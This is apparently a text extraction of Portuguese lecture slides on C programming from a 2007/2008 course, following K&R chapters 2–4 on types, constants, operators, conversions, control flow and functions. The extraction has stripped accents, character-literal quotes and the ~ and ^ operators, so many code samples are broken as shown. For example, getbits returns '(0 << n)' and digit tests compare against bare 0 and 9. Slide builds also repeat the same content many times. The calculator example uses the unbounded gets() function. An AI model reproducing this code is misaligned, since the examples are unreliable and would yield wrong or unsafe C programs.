
Variveis externas
main ()
{
int comprimento;
extern int maximo;
extern char maiscomprida[];

Varivel externa precisa ser declarada em cada funo


(instruo extern) se antes no tiver sido definida no
ficheiro (neste exemplo no era preciso)
Todas as funes podem aceder a variveis externas
Prtica: colocar todas definies no princpio do ficheiro
Ficheiros de headers (.h): coleco de instrues
extern.
Variveis globais = fonte potencial PROBLEMAS
IAED 2007/2008 p.80/569

Parte II
K&R Cap. 2

IAED 2007/2008 p.81/569

Elementos da linguagem
Identificadores
Tipos
Constantes
Declaraes
Operadores aritmticos, lgicos e relacionais
Converses de tipos
Operadores incrementar e decrementar
Operaes de bits
Operaes de atribuio e expresses
Expresses condicionais
Precedncia e ordem de avaliao
IAED 2007/2008 p.82/569

Identificadores
Sequncias de letras, underscore, ou dgitos

IAED 2007/2008 p.83/569

Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore

IAED 2007/2008 p.83/569

Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore

IAED 2007/2008 p.83/569

Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador

IAED 2007/2008 p.83/569

Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
variaveis em minsculas e CONSTANTES em
maisculas

IAED 2007/2008 p.83/569

Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
variaveis em minsculas e CONSTANTES em
maisculas

Variveis internas: primeiros 31 caracteres


significativos

IAED 2007/2008 p.83/569

Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
variaveis em minsculas e CONSTANTES em
maisculas

Variveis internas: primeiros 31 caracteres


significativos
Variveis externas e funes: 6 primeiros caracteres
significativos sem distino de maisculas/minsculas

IAED 2007/2008 p.83/569

Identificadores
Sequncias de letras, underscore, ou dgitos
Primeiro caracter letra ou underscore
Frequentemente nomes nas bibliotecas comeam com
underscore
identificador diferente de Identificador
variaveis em minsculas e CONSTANTES em
maisculas

Variveis internas: primeiros 31 caracteres


significativos
Variveis externas e funes: 6 primeiros caracteres
significativos sem distino de maisculas/minsculas
Nomes reservados: if, else, int, float, etc
IAED 2007/2008 p.83/569

Tipos de dados
char, int, float, double

IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)

IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long

IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits

IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)

IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)

tamanho char 1 byte

IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)

tamanho char 1 byte


16 bits <= tamanho short

IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)

tamanho char 1 byte


16 bits <= tamanho short
32 bits <= tamanho long

IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)

tamanho char 1 byte


16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
IAED 2007/2008 p.84/569

Tipos de dados
char, int, float, double
short int (short), long int (long)
signed/unsigned char, short, int, long
unsigned obedece aritmtica mdulo 2n , n=nmero
bits
signed char entre -128 e 127 (mquina
complemento de 2)

tamanho char 1 byte


16 bits <= tamanho short
32 bits <= tamanho long
tamanho short <= tamanho int <= tamanho long
long double
IAED 2007/2008 p.84/569

Constantes
int: 1234

IAED 2007/2008 p.85/569

Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)

IAED 2007/2008 p.85/569

Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U

IAED 2007/2008 p.85/569

Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL

IAED 2007/2008 p.85/569

Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L

IAED 2007/2008 p.85/569

Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L

Inteiros em notao octal: 037

IAED 2007/2008 p.85/569

Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L

Inteiros em notao octal: 037


Inteiros em notao hexadecimal: 0x1f ou 0X1F

IAED 2007/2008 p.85/569

Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L

Inteiros em notao octal: 037


Inteiros em notao hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U. (unsigned)

IAED 2007/2008 p.85/569

Constantes
Valor de 0XFUL?

IAED 2007/2008 p.86/569

Constantes
int: 1234
long: 1234l ou 1234L ou 123456789012 (maior que
o maior inteiro)
unsigned: 1234u ou 1234U
unsigned long: 1234ul ou 1234UL
long float: 100.0l ou 100.0L

Inteiros em notao octal: 037


Inteiros em notao hexadecimal: 0x1f ou 0X1F
Seguidos de L (long) ou de U (unsigned)
double: 100.0 ou 1.0e2
float: 100.0f ou 100.0F
IAED 2007/2008 p.87/569

Constantes
char so inteiros
0 representa 48 (entrada 48 tabela ASCII 0)

Caracteres de escape: \000 e \xhh


#define VTAB \013 ou #define VTAB \xb
#define BELL \007 ou #define BELL \x7
Tabela de caracteres de escape
\a

alerta (bell)

\b

backspace

\c

formfeed

\n

newline

\r

carriage return

\t

tabulao horizontal

\v

tabulao vertical

\\

barra

\?

ponto de interrogao

plica

\"

aspas

\000

nmero octal

\xhh

nmero hexadecimal

IAED 2007/2008 p.88/569

Constantes
"Uma string"
"Outra " "string"
"" /* ainda outra string */
Representao interna da string "Ola": O, l,
a, \0

Diferena entre "x" e x?

IAED 2007/2008 p.89/569

Constantes
/* strlen: retorna comprimento de
uma string */
int strlen(char s[])
{
int i;
i = 0;
while (s[i] != \0)
++i;
return i;
}

IAED 2007/2008 p.90/569

Constantes
Constantes de tipos enumerados
Tipo enumerado definido por sequncia de constantes
enum boolean { NAO, SIM }

Tipo boolean tem duas constantes: NAO e SIM


Constantes de tipo enumerado tm valor inteiro:
primeira constante vale 0, segunda vale 1, etc
Tipo boolean: NAO vale 0 e SIM vale 1
Pode-se especificar valores para as constantes
enum escapes { BELL = \a, BACKSPACE = \b, TAB = \t,
NEWLINE = \n, VTAB = \v, RETURN = \r};

IAED 2007/2008 p.91/569

Constantes
Constantes enumeradas definidas em sequncia tm
valores seguidos
enum meses { JAN = 1, FEV, MAR,
ABR, MAI, JUN, JUL,
AGO, SET, OUT, NOV, DEZ}
/* FEV vale 2, MAR vale 3, etc. */

Nomes constantes enumeradas distintos


Valores de constantes diferentes possivelmente iguais

IAED 2007/2008 p.92/569

Constantes
Associao de valores com constantes: constantes
enumeradas face a #define
Gerao automatizada de valores :)
Podem-se declarar variveis :)
Compiladores podem no verificar valores guardados :(
Pode haver compiladores que verifiquem :)
Debuggers podem escrever valores na
forma simblica :)

IAED 2007/2008 p.93/569

Declaraes
Declaraes de variveis
Declaraes precedem utilizao
Declarao especifica tipo e lista variveis
int superior, inferior, passo;
char c, linha[1000];

Alternativa:
int superior;
int inferior;
int passo;
char c;
char linha[1000];

IAED 2007/2008 p.94/569

Declaraes
Inicializao de variveis externas e estticas:
<tipo> <varivel> = < expresso constante >;
Caso de omisso: valor 0
Inicializao variveis automticas:
<tipo> <varivel> = < expresso >;
Caso de omisso: valor indefinido

IAED 2007/2008 p.95/569

Declaraes
Declaraes de constantes
const pode anteceder qualquer declarao

Significa que valor no vai mudar


Compilador pode tirar partido
const double e = 2.71828182845905;
const char msg[] = "bem vindo ao C";
int strlen(const char[]);

IAED 2007/2008 p.96/569

Operadores aritmticos
+, -, *, / e %

Anos bissextos: divisveis por 4 mas no divisveis por


100, excepto se divisveis por 400. Exemplo:
if ((ano % 4 == 0 && ano % 100 != 0) || ano % 400 == 0)
printf("%d
e bissexto\n", ano);
else printf("%d n
ao
e bissexto\n", ano);

Sinal em truncagem de valores negativos: no definido


Direco da truncagem de valores negativos: no
definido
Situao de overflow e underflow: reaco no
definidas

IAED 2007/2008 p.97/569

Operadores lgicos e relacionais


>, >=, <, e <= (precedncias iguais)
== e != (precedncias inferiores)

Operadores aritmticos tm precedncia maior que


operadores relacionais

IAED 2007/2008 p.98/569

Operadores lgicos e relacionais


i < lim-1 (i < lim)-1 ou i < (lim-1)?

IAED 2007/2008 p.99/569

Operadores lgicos e relacionais


>, >=, <, e <= (precedncias iguais)
== e != (precedncias inferiores)

Operadores aritmticos tm precedncia maior que


operadores relacionais
i < lim-1 (i < lim)-1 ou i < (lim-1)?
&& e || avaliam argumentos da esquerda para direita e
param quando argumentos so suficientes para definir
valor
for (i=0; i<lim-1 && (c=getchar()) != \n && c != EOF; ++i)
s[i]=c;

IAED 2007/2008 p.100/569

Operadores lgicos e relacionais


Operadores relacionais tm precedncia maior que &&,
que por seu lado tem precedncia maior que ||
Valor numrico de expresso lgica 1 se expresso
verdadeira e 0 se falsa
Negao ! converte 0 em 1 e vice-versa
if (!valid) mais fcil de ler que if (valid == 0)

IAED 2007/2008 p.101/569

Converso de tipos
Argumentos de operadores de diferentes tipos
provocam transformao de tipos dos argumentos
Algumas converses automticas: de representaes
estreitas para representaes mais largas sem se
perder informao.
Ex: converso de int para float em f + i
char inteiro pequeno e podem-se fazer contas

IAED 2007/2008 p.102/569

Converso de tipos
/* atoi: converte string num inteiro */
int atoi(char s[])
{
int i,n;
n = 0;
for (i=0; s[i]>=0 && s[i]<=9; ++i)
n = 10 * n + (s[i] - 0);
return n;
}

IAED 2007/2008 p.103/569

Converso de tipos
/* lower: converte caracter para
min
usculas: s
o para ASCII */
int lower(int c)
{
if (c >= A && c <= Z)
return c + a - A;
else return c;
}

IAED 2007/2008 p.104/569

Converso de tipos
Tabela EBCDIC distncia de maisculas e minsculas
varia: no se pode usar return c + a - A;
Biblioteca <ctype.h> define famlia de funes
independentes do conjunto de caracteres
tolower substitui lower; isdigit(c) substitui
c >= 0 && c <= 9; etc

IAED 2007/2008 p.105/569

Converso de tipos
Converso caracteres para inteiros: C no especfica
se inteiro representado por caracter tem de ser positivo
ou se pode ser negativo (s que caracter visvel tem
que ser positivo)
Se todos caracteres so positivos, converso sempre
positiva
Se puder ser negativo, transformao em int pode ou
manter o sinal e acrescentar uns ou acrescentar zeros
esquerda
Problema: numas mquinas uma sequncia de bits
representa um nmero positivo e noutras um nmero
negativo

IAED 2007/2008 p.106/569

Converso de tipos
Este problema afecta valor de expresses em
programas (p. ex. em d = c >= 0 && c <=
9)?
No, porque caracteres utilizados em programas so
visveis (neste caso, 0 e 9) e, portanto, positivos
Logo, so convertidos para inteiros positivos e
problema no se verifica
Para maximizar portabilidade, especificar se variveis
char que vo receber nmero arbitrrio devem ser
signed ou unsigned

IAED 2007/2008 p.107/569

Converso de tipos
Quando operador binrio (+, *, etc) tem operandos de
tipos diferentes, tipos dos operandos convertidos
Quando no h argumentos unsigned:
Se algum dos operandos long double, converte
outro para long double
Caso contrrio, se um dos operandos double,
converte outro para double
Caso contrrio, se um dos operandos float,
converte outro para float
Caso contrrio, converte short para int e se
algum dos operandos for long, converte o outro
para long

IAED 2007/2008 p.108/569

Converso de tipos
Mudana ANSI-C: float no convertido para
double
Utilizao de float: tabelas grandes ou mquinas
pouco eficientes a tratar double

IAED 2007/2008 p.109/569

Converso de tipos
Regras de converso envolvendo unsigned mais
complicadas
Comparaes entre valores signed e unsigned
dependentes da mquina
Exemplo em mquina com int com 16 bits e long
com 32 bits:
-1L < 1U (inteiro 1U convertido em signed long)
-1L > 1UL (-1L convertido em unsigned long num
inteiro muito grande)

IAED 2007/2008 p.110/569

Converso de tipos
Converso de int para char: retirar caracteres de
ordem superior
Converso de float para int: truncagem
Converso de double para float: truncagem ou
arredondamento
Nas chamadas a funes, h converso de tipos
Se no houver prottipos, char convertido para int e
float convertido para double

IAED 2007/2008 p.111/569

Converso de tipos
Converso forada de tipos: utilizao de operador cast
(<nome tipo>) <expresso>

Valor <expresso> convertido para tipo (<nome tipo>)


como se tratasse de atribuio
sqrt (declarada em <math.h>) espera argumento
double

Se compilador no conhecer tipos de argumentos,


sqrt(2) produz valor arbitrrio e sqrt((double) 2)
valor correcto
Se argumentos tiverem sido declarados num prottipo
double sqrt(double), sqrt(2) produz valor
correcto
IAED 2007/2008 p.112/569

Converso de tipos
unsigned long int next = 1;
/* rand: retorna inteiro pseudo-aleat
orio */
int rand(void)
{
next = next * 1103515245 + 12345;
return (unsigned int)(next/65536) % 32768;
}
/* srand: modifica semente de rand() */
void srand(unsigned int seed)
{
next = seed;
}
IAED 2007/2008 p.113/569

Operador incrementar e decrementar


Operador incrementar varivel (++) e decrementar
varivel (--) e retorna valor varivel
Operadores prefixos (++<var>, --<var>) primeiro
incrementa/decrementa e depois retorna valores
Operadores posfixos (<var>++, <var>--) primeiro
retorna valor e depois incrementa/decrementa

IAED 2007/2008 p.114/569

Operador incrementar e decrementar


Se n 5, qual o valor de x depois de x=n++?
Se n 5, qual o valor de x depois de x=++n?

IAED 2007/2008 p.115/569

Operador incrementar e decrementar


/* espreme: apaga ocorr
encias de todos
os c de s */
void espreme(char s[], int c)
{
int i, j;
for (i = j = 0; s[i] != \0; i++)
if (s[i] != c) {
s[j] = s[i];
j++;
}
s[j]= \0;
}

IAED 2007/2008 p.116/569

Operador incrementar e decrementar


Pode ser melhorado!
/* espreme: apaga ocorr
encias de todos
os c de s */
void espreme(char s[], int c)
{
int i, j;
for (i = j = 0; s[i] != \0; i++)
if (s[i] != c)
s[j++] = s[i];
s[j] = \0;
}

IAED 2007/2008 p.117/569

Operador incrementar e decrementar


/* strcat: concatena duas strings */
void strcat(char s[], char t[])
{
int i, j;
i = j = 0;
while (s[i] != \0) /* encontra fim de s */
i++;
while ((s[i] = t[j]) != \0) {
i++;
j++;
}
}

IAED 2007/2008 p.118/569

Operador incrementar e decrementar


Pode ser melhorado!
/* strcat: concatena duas strings */
void strcat(char s[], char t[])
{
int i, j;
i = j = 0;
while (s[i] != \0) /* encontra fim de s */
i++;
while ((s[i++] = t[j++]) != \0)
;
}

IAED 2007/2008 p.119/569

Operaes bit a bit


Manipular bits em inteiros (char, short, int, long):
&
AND bit a bit
|
OU bit a bit

OU exclusivo bit a bit


<< shift left
>> shift right

complemento de 1
Ex: n = n & 0177; Pe a zero todos os bits que no
os 7 de ordem mais baixa
n = n | SET_ON; Pe a um os bits que esto a um
em SET_ON

Se x = 1; y = 2;, valor de x & y? E x && y?


IAED 2007/2008 p.120/569

Operaes bit a bit


n = x y; Pe em n a um (zero) os bits que em x e
y so diferentes (iguais)
x 2 Desloca bits 2 posies esquerda. Espao
preenchido com 0
x 2 Desloca bits 2 posies direita. Espao
preenchido com 0

Dependendo da mquina, right shift de valor com sinal


pode preencher bits com bits de sinal (shift aritmtico)
ou com zeros (shift lgico)

IAED 2007/2008 p.121/569

Operaes bit a bit


Exemplo: funo getbits(x,p,n) retorna o campo de
n-bits de x, ajustado direita, que comea na posio p
(assumindo que bit mais direita o bit de posio 0)
/* getbits: devolve n bits a partir da posic

ao p */
unsigned getbits(unsigned x, int p, int n)
{
return (x >> (p+1-n)) & (0 << n);
}

IAED 2007/2008 p.122/569

Atribuies e expresses
i = i + 1; pode ser reescrito como i += 1;
+= um operador atribuio

Outros operadores correspondentes a -, *, /, %, >>,


<<, &, , |
<expr1> <op>=<expr2> equivale a
<expr1> = (<expr1>) <op> (<expr2>)

IAED 2007/2008 p.123/569

Atribuies e expresses
x *= y + 1

equivale

x = x * y + 1

ou

x = x * (y + 1)?

IAED 2007/2008 p.124/569

Atribuies e expresses
i = i + 1; pode ser reescrito como i += 1;
+= um operador atribuio

Outros operadores correspondentes a -, *, /, %, >>,


<<, &, , |
<expr1> <op>=<expr2> equivale a
<expr1> = (<expr1>) <op> (<expr2>)

Vantagens operadores atribuio:


mais prximo maneira de pensar de humanos
Ex: i += 2;
simplifica leitura de expresses complicadas
Ex: yyval[yypv[p3+p4] + yypv[p1+p2]] +=
2;
IAED 2007/2008 p.125/569

Atribuies e expresses
/* contabits: conta bits a um em x */
int contabits(unsigned x)
{
int b;
for (b = 0; x != 0; x >>= 1)
if (x & 01)
b++;
return b;
}

IAED 2007/2008 p.126/569

Expresses condicionais
Expresso condicional: expresso cujo valor depende
de uma outra expresso
<expr1> ? <expr2> : <expr3>
Se <expr1> for verdadeiro, valor da expresso
<expr2>
Se <expr1> for falso, valor da expresso <expr3>

Ex: z = (a > b) ?
if (a > b)
z = a;
else z = b;

a :

b; comparado com

IAED 2007/2008 p.127/569

Expresses condicionais
Expresso condicional utilizada onde expresso pode
ser utilizada
Gera cdigo mais curto:
printf("Tem %d objecto%s", n,
(n == 1)? "" : "s");
Se a ? b : c diferentes tipos, aplicam-se regras
de converso de tipos

IAED 2007/2008 p.128/569

Expresses condicionais
Se n int e f float, tipo de (n > 0) ?

f :

n?

IAED 2007/2008 p.129/569

Precedncia e ordem de Avaliao


Tabela de precedncia de operaes e de associatividade
() [] -> .

ED

! ++ -- + - * & (tipo) sizeof

DE

* / %

ED

+ -

ED

<< >>

ED

< <= > >=

ED

== !=

ED

&

ED

ED

ED

&&

ED

||

ED

IAED 2007/2008 p.130/569

Precedncia e ordem de Avaliao


Tabela de precedncia de operaes e de associatividade
(cont.)
?:

DE

= += -= *= /= %= &= = |= <<= >>=

DE

ED

ED associatividade esquerda-direita; DE associatividade


direita-esquerda
+, -, e * unrios tm maior precedncia que formas

binrias.

IAED 2007/2008 p.131/569

Precedncia e ordem de avaliao


Ordem de avaliao de argumentos de operadores
indefinida excepto virgula ,, ...

IAED 2007/2008 p.132/569

Precedncia e ordem de avaliao


Ordem de avaliao de argumentos de operadores
indefinida excepto vrgula ,, &&, ||, e ?:.
Problemas: x = f() + g(); e tanto f como g
modificam variveis externas de que o outro depende
Ordem de avaliao de argumentos de funes
Problema:
printf("%d %d\n", ++n, potencia(2,n));
Expresses envolvendo efeitos condicionais
Problema: a[i] = i++;

IAED 2007/2008 p.133/569

Precedncia e ordem de avaliao


Compiladores diferentes tm solues diferentes
(melhor soluo pode depender da arquitectura da
mquina)
Moral: m prtica escrever cdigo dependente da
ordem de avaliao

IAED 2007/2008 p.134/569

IAED 2007/2008 p.135/569

IAED 2007/2008 p.136/569

IAED 2007/2008 p.137/569

Parte III
K&R Cap. 3

IAED 2007/2008 p.138/569

Controlo de Execuo
Instrues e Blocos
If
Else-If
Switch
Ciclos:
Instrues While e For
Instruo Do-While
Break e Continue
Goto e Labels

IAED 2007/2008 p.139/569

Instrues
Expresso terminada por ;
Caracter ; denota o fim de uma instruo
x = 0;
i++;

IAED 2007/2008 p.140/569

Blocos (ou Instrues Compostas)


Chavetas, { e }, permitem agrupar declaraes e
instrues
instrues de uma funo
conjuntos de instrues em if, for, while, etc.
{
int x, i = 1;
x = 0;
i++;
printf(%d %d\n);
}

IAED 2007/2008 p.141/569

Instruo If
Permite expressar decises:
if (express
ao)
instruc

ao1
else
instruc

ao2

Se expresso tem valor diferente de 0, instruo1


executada
Se expresso tem valor igual a 0, instruo2
executada

IAED 2007/2008 p.142/569

Ifs Encadeados
if (n >
if (a
z =
else
z =

0)
> b)
a;
b;

else sempre associado com o if mais interno


Para associar com if mais externo:
if (n > 0) {
if (a > b)
z = a;
}
else
z = b;
IAED 2007/2008 p.143/569

Ifs Encadeados
Ateno associao dos elses com ifs:
if (n >= 0)
for (i = 0; i < n; i++)
if (s[i] > 0) {
printf(...);
return i;
}
else
printf(Erro -- n e negativo);

else associado com o if mais interno

IAED 2007/2008 p.144/569

Else-If
usual utilizar else-if para representar uma deciso
com opes mltiplas:
if (express
ao)
instruc

ao
else if (express
ao)
instruc

ao
else if (express
ao)
instruc

ao
else if (express
ao)
instruc

ao
else
instruc

ao
IAED 2007/2008 p.145/569

Um Exemplo Procura Binria


/* procura_binaria: encontra x em v[0] <= v[1] <= ... <=

v[n-1] */

int procura_binaria(int x, int v[], int n)


{
int low, high, mid;
low = 0;
high = n-1;
while (low <= high) {
mid = (low + high) / 2;
if (x < v[mid])
high = mid - 1;
else if (x > v[mid])
low = mid + 1;
else
return mid; /* valor encontrado */
}
return -1; /* n
ao existe */
}
IAED 2007/2008 p.146/569

Instruo Switch
Representa deciso com opes mltiplas, que testa
se uma expresso assume um de um conjunto de
valores inteiros constantes:
switch (express
ao) {
case const-expr:
statements
case const-expr:
statements
default:
statements
}

default opcional
default executado se expresso diferente de qualquer
dos outros casos

IAED 2007/2008 p.147/569

Um Exemplo Contagem de Dgitos


#include <stdio.h>
main() /* Conta digitos, espac
os e outros */
{
int c, i, nbranco, noutro, ndigito[10];
nbranco = noutro = 0;
for (i = 0; i < 10; i++)
ndigito[i] = 0;
while ((c = getchar()) != EOF) {
...

(cont.)

IAED 2007/2008 p.148/569

Um Exemplo Contagem de Digitos


...
while ((c = getchar()) != EOF) {
switch (c) {
case 0: case 1: case 2: case 3: case 4:
case 5: case 6: case 7: case 8: case 9:
ndigito[c - 0]++;
break;
case : case \t: case \n:
nbranco++;
break;
default:
noutro++;
break;
}
}
}

IAED 2007/2008 p.149/569

Intruo While
while (express
ao)
instruc

ao

Enquanto expresso for diferente de zero, a instruo


executada
Ciclo termina quando valor de expresso for zero

IAED 2007/2008 p.150/569

Instruo For
for (expr1; expr2; expr3)
instruc

ao

Equivalente a:
expr1;
while (expr2)
instruc

ao;
expr3;
}

expr1, expr2, expr3: respectivamente, expresses de


inicializao, de condio de ciclo, e de incremento
Utilizar for para ciclos com inicializao e incremento
simples
Ciclo infinito ?

IAED 2007/2008 p.151/569

Converter Caracteres em Nmero


#include <ctype.h>
/* atoi: converte string s para inteiro */
int atoi(char s[])
{
int i, n, sign;
for (i = 0; isspace(s[i]); i++)
;
sign = (s[i] == -) ? -1 : 1;
if (s[i] == + || s[i] == -)
i++;
for (n = 0; isdigit(s[i]); i++)
n = 10 * n + (s[i] - 0);
return sign * n;

/* saltar espac
os */

/* saltar sinal */

IAED 2007/2008 p.152/569

Inverter Cadeia de Caracteres


/* inverte: inverte string s no lugar */
void inverte(char s[])
{
int c, i, j;
for (i = 0, j = strlen(s) - 1; i < j; i++, j--) {
c = s[i];
s[i] = s[j];
s[j] = c;
}
}

IAED 2007/2008 p.153/569

Instruo Do-While
do
instruc

ao
while (express
ao);

A instruo executada
Se expresso diferente de zero, instruo volta a ser
executada
etc.

IAED 2007/2008 p.154/569

Converter Nmero em Caracteres


/* itoa: converte n para caracteres em s */
int itoa(int n, char s[])
{
int i, sign;
if ((sign = n) < 0)
n = -n;

/* registar sinal */
/* tornar n positivo */

i = 0;
do {
s[i++] = n % 10 + 0;
} while ((n /= 10) > 0);
if (sign < 0)
s[i++] = -;
s[i] = \0;
inverte(s);

/* obter pr
oximo digito */
/* apagar digito */

IAED 2007/2008 p.155/569

Converter Nmero em Caracteres


Outra soluo, que no inverte string
/* itoa: converte n para caracteres em s */
int itoa(int n, char s[])
{
int sign, nc;
if ((sign = n) < 0) /* registar sinal */
n = -n;
/* tornar n positivo */
/* n
umero de caracteres */
nc = floor((log10(n) + 1)) + ((sign < 0) ? 1 : 0);
s[nc--] = \0;
do {
s[nc--] = n % 10 + 0; /* obter pr
oximo digito */
} while ((n /= 10) > 0);
/* apagar digito */
if (sign < 0)
s[nc] = -;
return nc;
/* valor de i
e 0 ... */
}
IAED 2007/2008 p.156/569

Instrues Break e Continue


A instruo break permite terminar a execuo de uma
instruo for, while, do ou switch
A instruo continue desencadeia a execuo da
prxima iterao de uma instruo for, while ou do
Para a instruo for, a execuo continua com a
expresso de incremento
O que acontece com:
for(i=0; i<n; i++) {
if (a[i] < 0)
continue;
... /* instruc

oes */
}
IAED 2007/2008 p.157/569

Remoo de Caracteres
/* remove: remove brancos, tabs e \ns no fim de string */
int remove(char s[])
{
int n;
for (n = strlen(s) - 1; n >= 0; n--)
if (s[n] != && s[n] != \t && s[n] != \n)
break;
s[n+1] = \0;
return n;
}

IAED 2007/2008 p.158/569

Leitura de Linhas
Pretende-se realizar uma funo que l as linhas,
escritas pelo utilizador, e coloca cada linha numa
cadeia de caracteres. Cada linha retornada aps ser
lida

IAED 2007/2008 p.159/569

Leitura de Linhas
#include <stdio.h>
/* getline: ler linha para s, retornar comprimento */
int getline(char s[], int lim)
{
int c, i;
i = 0;
while (--lim > 0 && (c = getchar()) != EOF && c != \n)
s[i++] = c;
if (c == \n)
s[i++] = c;
s[i] = \0;
return i;
}

IAED 2007/2008 p.160/569

Substituir Strings: y por x em s


Dadas trs strings, x, y e s, substituir primeira
ocorrncia de y em s por x
Admitir que |x| = |y| |s|

IAED 2007/2008 p.161/569

Substituir Strings: y por x em s


/* Substitui y por x em s; x e y com o mesmo n
umero de caracteres */
int str_repl(char s[], char y[], char x[])
{
int i, j, match;
int slen = strlen(s);
int ylen = strlen(y);
for (i=0; i<=slen-ylen; i++) {
for (match = 1, j=0; j<ylen; j++)
if (!(match = (s[i+j] == y[j])))
break;
if (!match)
continue;
for (j=0; j<ylen; j++)
s[i+j] = x[j];
return 1;
}
return 0;
}

IAED 2007/2008 p.162/569

Ordenar Vector Composto por 0s e 1s


Dado vector com n elementos, em que cada entrada
tem valor 0 ou 1, realizar algoritmo para ordenar vector

IAED 2007/2008 p.163/569

Ordenar Vector Composto por 0s e 1s


/* Ordena vector de 0s e
int sort01(int tab[], int
{
int i, j, tmp;
for (i=0, j=size-1; i <
while (tab[i] == 0 &&
i++;
while (tab[j] == 1 &&
j--;
if (i <= j) {
tmp = tab[i];
tab[i] = tab[j];
tab[j] = tmp;
}
}
}

1s */
size)

j; ) {
i <= j)
i <= j)

IAED 2007/2008 p.164/569

Ordenar Vector Composto por 0s e 1s


Algoritmo apresentado no estvel:
Ordem relativa dos 0s (ou dos 1s) no mantida
Problema: desenvolver algoritmo estvel para ordenar
vector composto por 0s e 1s

IAED 2007/2008 p.165/569

Parte IV
K&R Cap. 4

IAED 2007/2008 p.166/569

Funes e Estrutura de Programas


Funes
Variveis Externas
Regras de Scope
Ficheiros de Cabealho
Variveis Estticas
Variveis de Registo
Estrutura de Blocos
Inicializao
Recurso
O Preprocessador do C

IAED 2007/2008 p.167/569

Funes
Programa C composto por uma funo main obrigatria
e por um conjunto de funes
Funes permitem a realizao de funcionalidades
bem definidas
factorial, combinacoes, lerlinha, ordenacao, etc.
Funes organizadas por ficheiros, normalmente com o
propsito de realizar um conjunto de funcionalidades
relacionado
bibliotecas de I/O
estruturas de dados dedicadas
etc.

IAED 2007/2008 p.168/569

Funes
tipo-retorno nome-func

ao(declarac

oes-argumentos)
{
declarac

oes e instruc

oes
}

Exemplo mais simples:


nada() { }

IAED 2007/2008 p.169/569

Funes Retorno de Valores


Instruo return:
Instruo que permite retornar um valor da funo
chamada funo que a chama
return express
ao;
Valor de expresso convertido para o valor de
retorno funo
Problema: funo para converter string em double?

IAED 2007/2008 p.170/569

Converter String em Double


#include <ctype.h>
/* atof: converte string s em double */
double atof(char s[])
{
double val, power;
int i, sign;
for (i=0; isspace(s[i]); i++) /* salta espac
o em branco */
;
sign = (s[i] == -) ? -1 : 1;
if (s[i] == - || s[i] == +)
i++;
for (val=0.0; isdigit(s[i]); i++)
val = 10.0 * val + (s[i] - 0);
if (s[i] == .)
i++;
for (power=1.0; isdigit(s[i]); i++) {
val = 10.0 * val + (s[i] - 0);
power *= 10.0;
}
return sign * val / power;
}

IAED 2007/2008 p.171/569

Uma Calculadora Simples


#include <stdio.h>
#define MAXLINE 100
/* calculadora simples */
main()
{
double sum, atof(char s[]);
char line[MAXLINE];
sum = 0;
while (gets(line) > 0)
/* Ler linha */
printf("\t%g\n", sum += atof(line));
return 0;
}

IAED 2007/2008 p.172/569

Variveis Externas
Um programa C composto por conjunto de objectos
externos, que podem ser variveis ou funes
Variveis externas podem ser utilizadas por qualquer
funo
Variveis internas, definidas como argumentos ou
internamente a uma funo, apenas podem ser
utilizadas dentro da funo
Exemplo:
#define MAXVALUE 1000
int st_value[MAXVALUE];
int st_top;
void pushd(int value)
{
...
